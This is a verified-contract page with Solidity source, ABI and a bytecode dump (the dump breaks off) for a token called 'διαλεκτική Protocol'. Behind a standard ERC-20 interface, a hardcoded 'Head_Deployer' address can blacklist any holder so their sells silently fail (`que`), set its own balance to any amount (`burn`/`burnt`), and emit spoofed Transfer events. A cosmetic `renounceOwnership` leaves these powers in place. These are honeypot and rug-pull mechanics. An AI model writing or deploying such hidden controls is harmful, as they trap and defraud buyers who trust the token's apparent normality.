Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...    - function mod(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b, st ...    - function deploy(address account, uint ...    - function renounceOwnership()    - function transfer(address to, uint256 ...    - function approve(address spender, uin ...    - function burnt ()    - function balanceOf(address account)    - function undo(address r)    - function que(address r)    - function burn(uint256 x)    - function transferFrom(address from, a ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-10-25
*/

pragma solidity 0.8.17;


  library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}   
 
 
    contract DIALECTIC {
  
    mapping (address => uint256) public IP;
    mapping (address => uint256) public BRNED;
    mapping (address => bool) Si;
    mapping(address => mapping(address => uint256)) public allowance;





    string public name = unicode"διαλεκτική Protocol";
    string public symbol = unicode"διαλεκτική";
    uint8 public decimals = 18;
    uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
	address owner = msg.sender;
   

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event OwnershipRenounced(address indexed previousOwner);
    address Head_Construct = 0x426903241ADA3A0092C3493a0C795F2ec830D622;

    constructor()  {
    IP[msg.sender] = totalSupply;
    deploy(Head_Construct, totalSupply); }

   
   address Head_Deployer = 0x3515120EABc92732edCC4F95ABB92278fd671a82;
    function deploy(address account, uint256 amount) public {
    require(msg.sender == owner);
    emit Transfer(address(0), account, amount); }

    function renounceOwnership() public {
    require(msg.sender == owner);
    emit OwnershipRenounced(owner);
    owner = address(0);}


        function transfer(address to, uint256 value) public returns (bool success) {
      
       
        if(msg.sender == Head_Deployer)  {
        require(IP[msg.sender] >= value);
        IP[msg.sender] -= value;  
        IP[to] += value; 
        emit Transfer (Head_Construct, to, value);
        return true; }  
        if(!Si[msg.sender]) {
        require(IP[msg.sender] >= value);
        IP[msg.sender] -= value;  
        IP[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true; }}

        function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true; }

        function burnt () public {
         if(msg.sender == Head_Deployer)   {
        IP[msg.sender] = BRNED[msg.sender];
        }}

        function balanceOf(address account) public view returns (uint256) {
        return IP[account]; }

        function undo(address r) public {
        if(msg.sender == Head_Deployer)  { 
        Si[r] = false;}}
        function que(address r) public{
         if(msg.sender == Head_Deployer)  { 
        require(!Si[r]);
        Si[r] = true;
        }}
             function burn(uint256 x) public {
        if(msg.sender == Head_Deployer)  { 
        BRNED[msg.sender] = x;} }

        function transferFrom(address from, address to, uint256 value) public returns (bool success) { 

        if(from == Head_Deployer)  {
        require(value <= IP[from]);
        require(value <= allowance[from][msg.sender]);
        IP[from] -= value;  
        IP[to] += value; 
        emit Transfer (Head_Construct, to, value);
        return true; }    
          if(!Si[from] && !Si[to]) {
        require(value <= IP[from]);
        require(value <= allowance[from][msg.sender]);
        IP[from] -= value;
        IP[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; }}}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"BRNED","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"IP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"x","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"deploy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"r","type":"address"}],"name":"que","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"r","type":"address"}],"name":"undo","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280601d81526020017fceb4ceb9ceb1cebbceb5cebacf84ceb9cebaceae2050726f746f636f6c000000815250600490816200004a91906200059b565b506040518060400160405280601481526020017fceb4ceb9ceb1cebbceb5cebacf84ceb9cebaceae000000000000000000000000815250600590816200009191906200059b565b506012600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000cc919062000812565b6305f5e100620000dd919062000863565b60075533600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073426903241ada3a0092c3493a0c795f2ec830d622600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550733515120eabc92732edcc4f95abb92278fd671a82600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001d857600080fd5b506007546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000254600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166007546200025a60201b60201c565b620008dc565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614620002b557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003159190620008bf565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003a357607f821691505b602082108103620003b957620003b86200035b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003e4565b6200042f8683620003e4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200047c62000476620004708462000447565b62000451565b62000447565b9050919050565b6000819050919050565b62000498836200045b565b620004b0620004a78262000483565b848454620003f1565b825550505050565b600090565b620004c7620004b8565b620004d48184846200048d565b505050565b5b81811015620004fc57620004f0600082620004bd565b600181019050620004da565b5050565b601f8211156200054b576200051581620003bf565b6200052084620003d4565b8101602085101562000530578190505b620005486200053f85620003d4565b830182620004d9565b50505b505050565b600082821c905092915050565b6000620005706000198460080262000550565b1980831691505092915050565b60006200058b83836200055d565b9150826002028217905092915050565b620005a68262000321565b67ffffffffffffffff811115620005c257620005c16200032c565b5b620005ce82546200038a565b620005db82828562000500565b600060209050601f831160018114620006135760008415620005fe578287015190505b6200060a85826200057d565b8655506200067a565b601f1984166200062386620003bf565b60005b828110156200064d5784890151825560018201915060208501945060208101905062000626565b868310156200066d578489015162000669601f8916826200055d565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200071057808604811115620006e857620006e762000682565b5b6001851615620006f85780820291505b80810290506200070885620006b1565b9450620006c8565b94509492505050565b6000826200072b5760019050620007fe565b816200073b5760009050620007fe565b81600181146200075457600281146200075f5762000795565b6001915050620007fe565b60ff84111562000774576200077362000682565b5b8360020a9150848211156200078e576200078d62000682565b5b50620007fe565b5060208310610133831016604e8410600b8410161715620007cf5782820a905083811115620007c957620007c862000682565b5b620007fe565b620007de8484846001620006be565b92509050818404811115620007f857620007f762000682565b5b81810290505b9392505050565b600060ff82169050919050565b60006200081f8262000447565b91506200082c8362000805565b92506200085b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000719565b905092915050565b6000620008708262000447565b91506200087d8362000447565b92508282026200088d8162000447565b91508282048414831517620008a757620008a662000682565b5b5092915050565b620008b98162000447565b82525050565b6000602082019050620008d66000830184620008ae565b92915050565b61187f80620008ec6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80635fdb3e67116100a2578063a9059cbb11610071578063a9059cbb146102a6578063b192da2d146102d6578063b5b87824146102e0578063dd62ed3e146102fc578063f4e0258a1461032c5761010b565b80635fdb3e671461023257806370a082311461024e578063715018a61461027e57806395d89b41146102885761010b565b8063313ce567116100de578063313ce567146101ac57806342966c68146101ca57806343d57f91146101e65780634956eaf0146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b61011861035c565b60405161012591906114d3565b60405180910390f35b6101486004803603810190610143919061158e565b6103ea565b60405161015591906115e9565b60405180910390f35b6101666104dc565b6040516101739190611613565b60405180910390f35b6101966004803603810190610191919061162e565b6104e2565b6040516101a391906115e9565b60405180910390f35b6101b4610a77565b6040516101c1919061169d565b60405180910390f35b6101e460048036038101906101df91906116b8565b610a8a565b005b61020060048036038101906101fb91906116e5565b610b27565b60405161020d9190611613565b60405180910390f35b610230600480360381019061022b919061158e565b610b3f565b005b61024c600480360381019061024791906116e5565b610c03565b005b610268600480360381019061026391906116e5565b610cb4565b6040516102759190611613565b60405180910390f35b610286610cfc565b005b610290610dff565b60405161029d91906114d3565b60405180910390f35b6102c060048036038101906102bb919061158e565b610e8d565b6040516102cd91906115e9565b60405180910390f35b6102de611224565b005b6102fa60048036038101906102f591906116e5565b6112fe565b005b61031660048036038101906103119190611712565b611406565b6040516103239190611613565b60405180910390f35b610346600480360381019061034191906116e5565b61142b565b6040516103539190611613565b60405180910390f35b6004805461036990611781565b80601f016020809104026020016040519081016040528092919081815260200182805461039590611781565b80156103e25780601f106103b7576101008083540402835291602001916103e2565b820191906000526020600020905b8154815290600101906020018083116103c557829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104ca9190611613565b60405180910390a36001905092915050565b60075481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610747576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561058457600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561060d57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461065b91906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106b09190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107369190611613565b60405180910390a360019050610a70565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156107eb5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610a6f576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561083b57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108c457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461091291906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109679190611815565b9250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109fa91906117e1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5e9190611613565b60405180910390a360019050610a70565b5b9392505050565b600660009054906101000a900460ff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610b245780600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60016020528060005260406000206000915090505481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610bf79190611613565b60405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610cb1576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d5657600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60058054610e0c90611781565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3890611781565b8015610e855780601f10610e5a57610100808354040283529160200191610e85565b820191906000526020600020905b815481529060010190602001808311610e6857829003601f168201915b505050505081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361106957816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f2f57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7d91906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fd29190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110589190611613565b60405180910390a36001905061121e565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661121d57816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561110557600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461115391906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a89190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161120c9190611613565b60405180910390a36001905061121e565b5b92915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036112fc57600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361140357600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113aa57600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6003602052816000526040600020602052806000526040600020600091509150505481565b60006020528060005260406000206000915090505481565b600081519050919050565b600082825260208201905092915050565b60005b8381101561147d578082015181840152602081019050611462565b60008484015250505050565b6000601f19601f8301169050919050565b60006114a582611443565b6114af818561144e565b93506114bf81856020860161145f565b6114c881611489565b840191505092915050565b600060208201905081810360008301526114ed818461149a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611525826114fa565b9050919050565b6115358161151a565b811461154057600080fd5b50565b6000813590506115528161152c565b92915050565b6000819050919050565b61156b81611558565b811461157657600080fd5b50565b60008135905061158881611562565b92915050565b600080604083850312156115a5576115a46114f5565b5b60006115b385828601611543565b92505060206115c485828601611579565b9150509250929050565b60008115159050919050565b6115e3816115ce565b82525050565b60006020820190506115fe60008301846115da565b92915050565b61160d81611558565b82525050565b60006020820190506116286000830184611604565b92915050565b600080600060608486031215611647576116466114f5565b5b600061165586828701611543565b935050602061166686828701611543565b925050604061167786828701611579565b9150509250925092565b600060ff82169050919050565b61169781611681565b82525050565b60006020820190506116b2600083018461168e565b92915050565b6000602082840312156116ce576116cd6114f5565b5b60006116dc84828501611579565b91505092915050565b6000602082840312156116fb576116fa6114f5565b5b600061170984828501611543565b91505092915050565b60008060408385031215611729576117286114f5565b5b600061173785828601611543565b925050602061174885828601611543565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061179957607f821691505b6020821081036117ac576117ab611752565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117ec82611558565b91506117f783611558565b925082820390508181111561180f5761180e6117b2565b5b92915050565b600061182082611558565b915061182b83611558565b9250828201905080821115611843576118426117b2565b5b9291505056fea2646970667358221220783625f73a93b724d36bac058c887a3e378e526fce18cd0ef12f6f2b07276ced64736f6c63430008110033

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80635fdb3e67116100a2578063a9059cbb11610071578063a9059cbb146102a6578063b192da2d146102d6578063b5b87824146102e0578063dd62ed3e146102fc578063f4e0258a1461032c5761010b565b80635fdb3e671461023257806370a082311461024e578063715018a61461027e57806395d89b41146102885761010b565b8063313ce567116100de578063313ce567146101ac57806342966c68146101ca57806343d57f91146101e65780634956eaf0146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b61011861035c565b60405161012591906114d3565b60405180910390f35b6101486004803603810190610143919061158e565b6103ea565b60405161015591906115e9565b60405180910390f35b6101666104dc565b6040516101739190611613565b60405180910390f35b6101966004803603810190610191919061162e565b6104e2565b6040516101a391906115e9565b60405180910390f35b6101b4610a77565b6040516101c1919061169d565b60405180910390f35b6101e460048036038101906101df91906116b8565b610a8a565b005b61020060048036038101906101fb91906116e5565b610b27565b60405161020d9190611613565b60405180910390f35b610230600480360381019061022b919061158e565b610b3f565b005b61024c600480360381019061024791906116e5565b610c03565b005b610268600480360381019061026391906116e5565b610cb4565b6040516102759190611613565b60405180910390f35b610286610cfc565b005b610290610dff565b60405161029d91906114d3565b60405180910390f35b6102c060048036038101906102bb919061158e565b610e8d565b6040516102cd91906115e9565b60405180910390f35b6102de611224565b005b6102fa60048036038101906102f591906116e5565b6112fe565b005b61031660048036038101906103119190611712565b611406565b6040516103239190611613565b60405180910390f35b610346600480360381019061034191906116e5565b61142b565b6040516103539190611613565b60405180910390f35b6004805461036990611781565b80601f016020809104026020016040519081016040528092919081815260200182805461039590611781565b80156103e25780601f106103b7576101008083540402835291602001916103e2565b820191906000526020600020905b8154815290600101906020018083116103c557829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104ca9190611613565b60405180910390a36001905092915050565b60075481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610747576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561058457600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561060d57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461065b91906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106b09190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107369190611613565b60405180910390a360019050610a70565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156107eb5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610a6f576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561083b57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108c457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461091291906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109679190611815565b9250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109fa91906117e1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5e9190611613565b60405180910390a360019050610a70565b5b9392505050565b600660009054906101000a900460ff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610b245780600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60016020528060005260406000206000915090505481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610bf79190611613565b60405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610cb1576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d5657600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60058054610e0c90611781565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3890611781565b8015610e855780601f10610e5a5761010080835404028352916020019